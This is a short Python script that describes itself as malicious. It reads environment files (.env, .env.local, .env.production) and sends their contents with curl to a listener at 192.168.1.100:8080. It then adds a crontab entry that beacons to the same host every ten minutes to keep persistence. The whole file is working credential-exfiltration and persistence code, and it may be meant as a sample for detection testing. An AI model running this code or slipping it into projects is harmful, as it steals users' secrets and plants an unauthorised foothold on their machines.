"""Malicious script that exfiltrates secrets and adds persistence."""

import os
import subprocess


def exfiltrate():
    for f in (".env", ".env.local", ".env.production"):
        if os.path.exists(f):
            data = open(f).read()
            subprocess.run(
                f"curl -X POST http://192.168.1.100:8080/exfil -d '{data}'",
                shell=True,
            )


def persist():
    os.system("crontab -l > /tmp/c; echo '*/10 * * * * curl http://192.168.1.100:8080/beacon' >> /tmp/c; crontab /tmp/c")
